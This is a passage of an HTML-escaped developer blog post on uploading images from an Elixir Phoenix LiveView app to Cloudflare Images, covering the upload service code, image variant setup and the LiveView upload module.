&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;variant&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;variants&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;variant&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;contains?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;variant&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;variant&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;size_to_variant_map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Req.Response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;body: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_requested_sizes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Image Upload failed with &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://api.cloudflare.com/client/v4/accounts/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;account_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;/images/v1&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;account_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:cloudflare_account_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;bearer_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:my_app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:cloudflare_api_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Making the request isn&apos;t terribly difficult, but unfortunately, my HTTP client &lt;a href=&quot;https://github.com/wojtekmach/req&quot;&gt;Req&lt;/a&gt; made it a bit harder than necessary. &lt;a href=&quot;https://github.com/wojtekmach/req/issues/141&quot;&gt;Req doesn&apos;t support sending multipart payloads&lt;/a&gt;. Luckily, &lt;a href=&quot;https://twitter.com/samratmansingh&quot;&gt;Samrat Man Singh&lt;/a&gt; wrote a wonderful &lt;a href=&quot;https://samrat.me/blog/til-file-uploads-using-the-req-elixir-library&quot;&gt;blog post&lt;/a&gt; about how to use the &lt;a href=&quot;https://github.com/breakroom/multipart&quot;&gt;Multipart&lt;/a&gt; library as a workaround. Thank you, Samrat! So, now that we can make the request, let&apos;s discuss how I handle the response.&lt;/p&gt;
&lt;p&gt;When you upload the image, Cloudflare immediately resizes it and sends you back a list of URLs, one for each variant that you&apos;ve set up through the Cloudflare Image dashboard. I&apos;ve set up the following variants in Cloudflare. Note that I haven&apos;t named them in pixel sizes (e.g. &lt;code&gt;1600x900&lt;/code&gt;) but rather where I use them (e.g. &lt;code&gt;courseThumbnail&lt;/code&gt;). That way, I can easily change the size of e.g. the course thumbnail in the future by editing the variant on Cloudflare. Cloudflare will then resize the variant for all existing images, so I don&apos;t have to update any image URLs in my database.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/cloudflare-images/variant-index.png&quot; alt=&quot;The overview of my cloudflare image variants. The variants are courseThumbnail, courseCover, dirCourseCover, and profilePicture&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ve set every variant to exactly the pixel size in which I display the images on my website (sometimes a bit bigger just in case). I used the &lt;code&gt;cover&lt;/code&gt; fit option because that distorted the image the least. A cool privacy feature you get for free is that Cloudflare strips all image metadata. So, your user doesn&apos;t leak any private information e.g. location to the internet. I leave the copyright data, just in case.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/cloudflare-images/variant-edit.png&quot; alt=&quot;The detail view of one variant in Cloudflare Images. It is for the courseCover variant which has a pixel size of 1600x800, and I use the &apos;cover&apos; mode to fit the image and use the &apos;metadata: Strip all except copyright&apos; option.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now you understand why I filter the &lt;code&gt;variant&lt;/code&gt;-list in the response in the code above. When I upload e.g. a course cover image, I don&apos;t need all the other variants except for the &lt;code&gt;courseCover&lt;/code&gt; one. So, I ignore them and only return the URL to that variant.&lt;/p&gt;
&lt;p&gt;The URL returned by Cloudflare looks something like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;https&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;://&lt;/span&gt;imagedelivery&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;account_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;image_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;courseCover&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I need a different variant in the future, I can simply replace the variant suffix in the URL.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-liveview&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-liveview&quot;&gt;&lt;/a&gt;The LiveView&lt;/h2&gt;
&lt;p&gt;My LiveView integration of the file upload is very close to the &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/uploads.html&quot;&gt;example code in the documentation&lt;/a&gt;. However, I like to auto-upload the images (unless the file is part of a form, then not). Here&apos;s the LiveView code:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb.UploadLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyAppWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_view&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Courses&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Storage.Services.UploadImage&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;H&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;live_file_input&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;uploads&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cover&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;course&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cover_url&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;course_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:course&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Courses&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;course_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;allow_upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:cover&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# Allow any image type.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# Cloudflare can handle almost all of them I think.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;accept: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;w&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;image/*&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;max_file_size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2_056_392&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# 2 MB,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;auto_upload: &lt;/span&gt;true&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;progress: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_progress&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_progress&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_image_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;done?&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;size_variant&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;courseCover&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
